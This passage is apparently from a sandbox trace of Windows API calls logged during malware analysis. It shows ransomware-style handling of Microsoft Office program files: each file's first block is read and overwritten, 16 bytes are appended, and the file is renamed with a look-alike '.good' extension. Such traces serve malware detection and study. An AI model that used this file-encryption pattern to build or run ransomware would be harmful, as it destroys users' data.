Office\\root\\Office16\\msotd.exe", lpFilePart=0x0) returned 0x39 [0156.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msotd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.137] GetFileType (hFile=0x650) returned 0x1 [0156.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.137] GetFileType (hFile=0x650) returned 0x1 [0156.137] WriteFile (in: hFile=0x650, lpBuffer=0x3325f60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3325f60*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0156.138] CloseHandle (hObject=0x650) returned 1 [0156.138] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe", lpFilePart=0x0) returned 0x39 [0156.138] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe.gоod", lpFilePart=0x0) returned 0x3e [0156.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0156.138] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msotd.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed388c20, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed388c20, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5946dc32, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xac68)) returned 1 [0156.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0156.138] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msotd.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msotd.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msotd.exe.gоod")) returned 1 [0156.139] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE", lpFilePart=0x0) returned 0x39 [0156.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0156.139] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msouc.exe"), fInfoLevelId=0x0, lpFileInformation=0x334fc00 | out: lpFileInformation=0x334fc00*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe261555e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe261555e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2720687, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9be60)) returned 1 [0156.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0156.140] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE", lpFilePart=0x0) returned 0x39 [0156.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msouc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.140] GetFileType (hFile=0x650) returned 0x1 [0156.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.140] GetFileType (hFile=0x650) returned 0x1 [0156.140] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0156.140] ReadFile (in: hFile=0x650, lpBuffer=0x3350060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3350060*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0156.142] CloseHandle (hObject=0x650) returned 1 [0156.142] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE", lpFilePart=0x0) returned 0x39 [0156.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msouc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.142] GetFileType (hFile=0x650) returned 0x1 [0156.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.142] GetFileType (hFile=0x650) returned 0x1 [0156.142] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x9be60 [0156.142] WriteFile (in: hFile=0x650, lpBuffer=0x3351440*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3351440*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0156.143] CloseHandle (hObject=0x650) returned 1 [0156.143] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE", lpFilePart=0x0) returned 0x39 [0156.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msouc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.144] GetFileType (hFile=0x650) returned 0x1 [0156.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.144] GetFileType (hFile=0x650) returned 0x1 [0156.144] ReadFile (in: hFile=0x650, lpBuffer=0x33536e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x33536e0*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0156.671] CloseHandle (hObject=0x650) returned 1 [0156.671] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE", lpFilePart=0x0) returned 0x39 [0156.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msouc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.672] GetFileType (hFile=0x650) returned 0x1 [0156.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.672] GetFileType (hFile=0x650) returned 0x1 [0156.672] WriteFile (in: hFile=0x650, lpBuffer=0x3325de0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3325de0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0156.672] CloseHandle (hObject=0x650) returned 1 [0156.672] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE", lpFilePart=0x0) returned 0x39 [0156.672] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE.gоod", lpFilePart=0x0) returned 0x3e [0156.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0156.672] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msouc.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe261555e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe261555e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5997e994, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9be70)) returned 1 [0156.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0156.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msouc.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOUC.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msouc.exe.gоod")) returned 1 [0156.673] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man", lpFilePart=0x0) returned 0x43 [0156.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0156.673] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoutilstat.etw.man"), fInfoLevelId=0x0, lpFileInformation=0x3522940 | out: lpFileInformation=0x3522940*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1bd7df5e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b826)) returned 1 [0156.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0156.674] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man", lpFilePart=0x0) returned 0x43 [0156.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoutilstat.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.674] GetFileType (hFile=0x650) returned 0x1 [0156.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.675] GetFileType (hFile=0x650) returned 0x1 [0156.675] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0156.675] ReadFile (in: hFile=0x650, lpBuffer=0x3522d58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3522d58*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0156.676] CloseHandle (hObject=0x650) returned 1 [0156.676] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man", lpFilePart=0x0) returned 0x43 [0156.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoutilstat.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.676] GetFileType (hFile=0x650) returned 0x1 [0156.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.677] GetFileType (hFile=0x650) returned 0x1 [0156.677] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1b826 [0156.677] WriteFile (in: hFile=0x650, lpBuffer=0x3524060*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3524060*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0156.678] CloseHandle (hObject=0x650) returned 1 [0156.678] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man", lpFilePart=0x0) returned 0x43 [0156.678] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoutilstat.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.678] GetFileType (hFile=0x650) returned 0x1 [0156.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.678] GetFileType (hFile=0x650) returned 0x1 [0156.678] ReadFile (in: hFile=0x650, lpBuffer=0x3526350, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3526350*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0156.767] CloseHandle (hObject=0x650) returned 1 [0156.767] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man", lpFilePart=0x0) returned 0x43 [0156.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoutilstat.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.767] GetFileType (hFile=0x650) returned 0x1 [0156.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.767] GetFileType (hFile=0x650) returned 0x1 [0156.767] WriteFile (in: hFile=0x650, lpBuffer=0x3367500*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3367500*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0156.768] CloseHandle (hObject=0x650) returned 1 [0156.774] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man", lpFilePart=0x0) returned 0x43 [0156.774] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man.gоod", lpFilePart=0x0) returned 0x48 [0156.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0156.774] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoutilstat.etw.man"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x59a89cb9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b836)) returned 1 [0156.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0156.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoutilstat.etw.man"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoutilstat.etw.man.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoutilstat.etw.man.gоod")) returned 1 [0156.776] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE", lpFilePart=0x0) returned 0x39 [0156.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0156.776] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.exe"), fInfoLevelId=0x0, lpFileInformation=0x33c1fc8 | out: lpFileInformation=0x33c1fc8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc33c8ea0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4f0ed48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd5124e28, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd02e48)) returned 1 [0156.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0156.776] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE", lpFilePart=0x0) returned 0x39 [0156.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.777] GetFileType (hFile=0x650) returned 0x1 [0156.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.777] GetFileType (hFile=0x650) returned 0x1 [0156.777] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0156.777] ReadFile (in: hFile=0x650, lpBuffer=0x33c23a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x33c23a0*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0156.778] CloseHandle (hObject=0x650) returned 1 [0156.778] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE", lpFilePart=0x0) returned 0x39 [0156.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.778] GetFileType (hFile=0x650) returned 0x1 [0156.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.778] GetFileType (hFile=0x650) returned 0x1 [0156.778] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xd02e48 [0156.778] WriteFile (in: hFile=0x650, lpBuffer=0x33c3648*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x33c3648*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0156.780] CloseHandle (hObject=0x650) returned 1 [0156.780] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE", lpFilePart=0x0) returned 0x39 [0156.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.780] GetFileType (hFile=0x650) returned 0x1 [0156.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.780] GetFileType (hFile=0x650) returned 0x1 [0156.780] ReadFile (in: hFile=0x650, lpBuffer=0x33c5938, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x33c5938*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0156.807] CloseHandle (hObject=0x650) returned 1 [0156.807] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE", lpFilePart=0x0) returned 0x39 [0156.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0156.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0156.808] GetFileType (hFile=0x650) returned 0x1 [0156.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0156.808] GetFileType (hFile=0x650) returned 0x1 [0156.808] WriteFile (in: hFile=0x650, lpBuffer=0x33c46b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x33c46b0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0156.808] CloseHandle (hObject=0x650) returned 1 [0156.808] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE", lpFilePart=0x0) returned 0x39 [0156.808] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE.gоod", lpFilePart=0x0) returned 0x3e [0156.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0156.808] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc33c8ea0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4f0ed48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x59ad60b7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd02e58)) returned 1 [0156.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 